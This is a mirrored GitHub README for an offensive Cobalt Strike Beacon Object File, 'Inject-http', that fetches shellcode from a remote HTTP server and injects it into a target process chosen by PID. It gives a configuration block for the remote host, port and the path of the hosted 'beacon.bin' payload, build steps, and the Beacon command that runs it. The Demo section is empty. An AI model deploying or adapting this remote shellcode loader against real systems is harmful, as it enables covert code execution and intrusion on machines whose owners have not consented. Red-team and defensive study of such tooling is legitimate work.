mirror of
https://github.com/kleiton0x00/RemoteShellcodeExec
synced 2026-06-08 15:17:36 +00:00
kleiton0x00
29 lines
818 B
Markdown
29 lines
818 B
Markdown
# Inject-http BOF
|
|
A custom `inject` function of Cobalt Strike, which injects the shellcode in a process by retrieving the shellcode from a remote HTTP server.
|
|
|
|
## Usage
|
|
|
|
Make sure to change the values on `inject-http.c` (line 59):
|
|
|
|
```
|
|
//--------- CONFIGURE -----------
|
|
LPCWSTR remotehost = L"192.168.0.x"; //change to your IP
|
|
int remoteport = 8081; //change to your port
|
|
LPCWSTR remotedir = L"/beacon.bin"; //change to your directory of the hosted bin file
|
|
//-------------------------------
|
|
```
|
|
|
|
Compile the script using `make`.
|
|
```
|
|
make
|
|
```
|
|
|
|
Then load `inject-http.cna` to Cobalt Strike. To run the BOF inside a Beacon:
|
|
```
|
|
beacon> inject-http <pid>
|
|
```
|
|
|
|
## Demo
|
|
|
|
|